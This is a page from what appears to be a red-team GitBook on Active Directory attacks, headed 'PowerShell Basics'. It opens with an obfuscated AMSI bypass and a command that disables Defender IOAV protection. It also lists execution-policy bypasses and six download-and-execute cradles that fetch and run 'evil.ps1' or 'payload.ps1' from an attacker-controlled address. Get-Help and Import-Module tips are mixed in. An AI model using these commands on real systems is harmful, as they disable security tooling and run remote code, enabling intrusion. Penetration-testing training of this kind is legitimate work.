🖌️
AD-RED-TEAM
  • Active Directory Red Team
  • PowerShell Basics
    • Tips And Tricks
  • I. Active Directory Enumeration
    • User Hunting Domain Enumeration
    • Forest and Domains
    • User Enumeration
    • Groups Enumeration
    • Computers/Server Enumeration
    • Shares Enumeration
    • GP And OU Enumeration
    • ACL Domain Enumeration
    • Trust Domain Enumeration
  • II. Local Privilege Escalation
    • Lateral Movement
    • PowerUp Exploits
  • III. Domain Privilege Escalation
    • Forest Persistence – DCShadow
    • Trust Abuse - MSSQL Servers
    • Priv Esc – Across Forest using krbtgt Ticket
    • Priv Esc - Across Trusts using Trust Tickets
    • Priv Esc – DNSAdmins
    • Priv Esc - Constrained Delegation
    • Priv Esc – Unconstrained Delegation
    • Priv Esc - Targeted Kerberoasting - Set SPN
    • Targeted Kerberoasting - AS-REPs
    • Priv Esc - Kerberoast
  • IV. Domain Persistence and Dominance
    • Persistence ACLs - Security Descriptors
    • Persistence ACLs- Rights Abuse
    • Persistence ACL - AdminSDHolder
    • Persistence – Custom SSP
    • Persistence - DSRM
    • Persistence - Skeleton Key
    • Persistence - Silver Ticket
    • Persistence - Golden Ticket
  • V. Cross Trust Attacks
  • VI. Forest Persistence and Dominance
  • VII. Defenses – Monitoring
  • VIII. Defenses and bypass – Architecture and Work Culture Changes
  • IX. Defenses and Bypass – Deception
  • X. Defenses and Bypass – PowerShell
  • New Server
    • Move Lat-AppLocker
    • Move Lat-Invoke-Command
Powered by GitBook
On this page
  • Bypass AMSI:
  • PowerShell Get-Help
  • PowerShell Security Bypass
  • Import Module in PowerShell
  • PowerShell Download and Excution

Was this helpful?

PowerShell Basics

Bypass AMSI:

powershell -ep bypass
Set-MpPreference -DisableIOAVProtection $true
SET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
. .\PowerView.ps1
Get-NetUser

PowerShell Get-Help

#Lists everything about the help topics.
Get-Help

#Lists everything which contains the word process.
Get-Help process

#Update the help systm (V3+)
Update-Help

#Lists Full help about a topic
Get-Help Get-Item -Full
Get-Help Get-Item cmdlet -Full

#Lists examples of how to run a cmdlet
Get-Help Get-Item -Examples
Get-Help Get-Item cmdlet -Examples

PowerShell Security Bypass

#it is present to prevent user from accidentatly executing scripts

powershell -ExecutionPolicy bypass
powershell -c <cmd>
powershell  -encodedcommand $env:PSExecutionPolicyPreference="bypass"

Import Module in PowerShell

#A module can beimported with:
Import-Module <module-path>

#All the commands in the module can be listed with:
Get-Command -Module <module-name>

PowerShell Download and Excution

# 1 Download execute cradle iex 
(New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')

# 2 Download execute cradle iex 
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.230.1/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

# 3 PSv3 onwards - 
iex (iwr 'http://192.168.230.1/evil.ps1')

Best:
 Invoke-WebRequest -Uri "http://www.contoso.com" -OutFile "C:\path\file"
# 4 
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://192.168.230.1/evil.ps1',$false);$h.send();iex $h.responseText

# 5
$wr = [System.NET.WebRequest]::Create("http://192.168.230.1/evil.ps1") $r = $wr.GetResponse()

# 6 
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
PreviousActive Directory Red TeamNextTips And Tricks

Last updated 3 years ago

Was this helpful?